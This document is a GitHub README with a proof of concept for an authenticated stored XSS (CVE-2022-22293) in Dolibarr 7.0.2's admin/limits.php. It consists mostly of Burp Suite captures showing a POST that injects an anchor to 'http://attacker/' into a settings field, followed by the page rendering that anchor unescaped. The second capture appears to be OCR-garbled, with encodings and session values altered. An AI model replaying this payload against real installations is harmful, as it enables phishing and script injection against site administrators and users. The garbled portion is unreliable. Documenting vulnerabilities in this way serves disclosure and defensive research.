

main

...

Research / Dolibar_7.0.2-StoredXSS / README.md



mustgundogdu Update README.md

History

1 contributor

19 lines (10 sloc) 562 Bytes

Dolibar_7.0.2 Stored XSS (Authenticated)

CVE: CVE-2022-22293

Path : <http://localhost/admin/limits.php>

Burp Suite Request

Request

```
1 POST /admin/limits.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101
  Firefox/65.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://localhost/admin/limits.php?action=edit
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 201
10 Connection: close
11 Cookie: PHPSESSID=2je0gk5e7d8gng0d12osn68l7;
  DOLSESSID_bcf5d5f31cc8536c9caccb10cf4a5167=1q09og2slj9p2n0m88sbghbf24
12 Upgrade-Insecure-Requests: 1
13
14 token=0737ee8b2e4843b5b24234950ab755201e549ffa&action=update&MAIN_MAX_DECIMALS_UNIT=5
  &MAIN_MAX_DECIMALS_TOT=<A%20HREF="http://attacker/">CLICK%20ME</A>&
  MAIN_MAX_DECIMALS_SHOWN=8&MAIN_ROUNDING_RULE_TOT=
```

Response

```
1 HTTP/1.1 302 Found
2 Date: Sat, 01 Jan 2022 20:55:02 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Location: /admin/limits.php?mainmenu=home&leftmenu=setup
8 Content-Length: 0
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11
12
```

-> Follow Redirection

Burp Suite Response

Request

PrettyRawHex

```
1 GET /admin/limits.php?mainmenu=home&leftmenu=setup HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101
  Firefox/65.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://localhost/admin/limits.php?action=edit
8 Connection: close
9 Cookie: PHPSESSID=2je0gk5e7d8gng0d1l2osn68l7;
  DOLSESSID_bcf5d5f3lcc8536c9cacb10cf4a5167=1q09og2slj9p2n0m88sbghbf24
10 Upgrade-Insecure-Requests: 1
11
12
```

Response

PrettyRawHexRender

```
</tr>
<tr class="oddeven">
  <td>
    <div class="inline-block">
      <div class="inline-block" style="padding: 0px; padding-right: 3px
        !important;">
        Max decimals for total prices
      </div>
      <div class="classfortooltip inline-block inline-block" style="
        padding: 0px; padding: 0px; padding-right: 3px !important;" title=
        "Parameter effective for next input only">
        
      </div>
    </td>
    <td align="right">
      <A HREF="http://attacker/">
        CLICK ME
      </A>
    </td>
  </tr>
<tr class="oddeven">
  <td>
    Max decimals for prices shown on screen (Add <b>
    ...
    after this number if you want to see <b>
    ...
    when number is truncated when shown on screen)
  </td>
  <td align="right">
    8
  </td>
</tr>
```

Stored XSS Exploit On Dolibarr 7.0.2 as Gif

Burp Suite Professional v2021.10.3 - Temporary Project - licensed to Uncia

DashboardTargetProxyIntruderRepeaterSequencerDecoderComparatorLoggerExtenderProject optionsUser optionsLearn

1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12 x13 x14 x...

SendCancel<>>

Target: http://localhostHTTP/1

Request

PrettyRawHex

```
1 POST /admin/limits.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101
  Firefox/65.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://localhost/admin/limits.php?action=edit
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 201
10 Connection: close
11 Cookie: PHPSESSID=2je0gk5e7d8gng0d1l2osn68l7;
  DOLSESSID_bcf5d5f3lcc8536c9cacb10cf4a5167=1q09og2slj9p2n0m88sbghbf24
12 Upgrade-Insecure-Requests: 1
13
14 token=0737ee8b2e4843b5b24284950ab755201e549ffa&action=update&MAIN_MAX_DECIMALS_UNIT=5
  &MAIN_MAX_DECIMALS_TOT=<A20HREF="http://attacker/">CLICK20ME</A>6
  MAIN_MAX_DECIMALS_SHOWN=8&MAIN_ROUNDING_RULE_TOT=
```

Response

PrettyRawHexRender

```
1 HTTP/1.1 302 Found
2 Date: Sat, 01 Jan 2022 20:59:19 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Location: /admin/limits.php?mainmenu=home&leftmenu=setup
8 Content-Length: 0
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11
12
```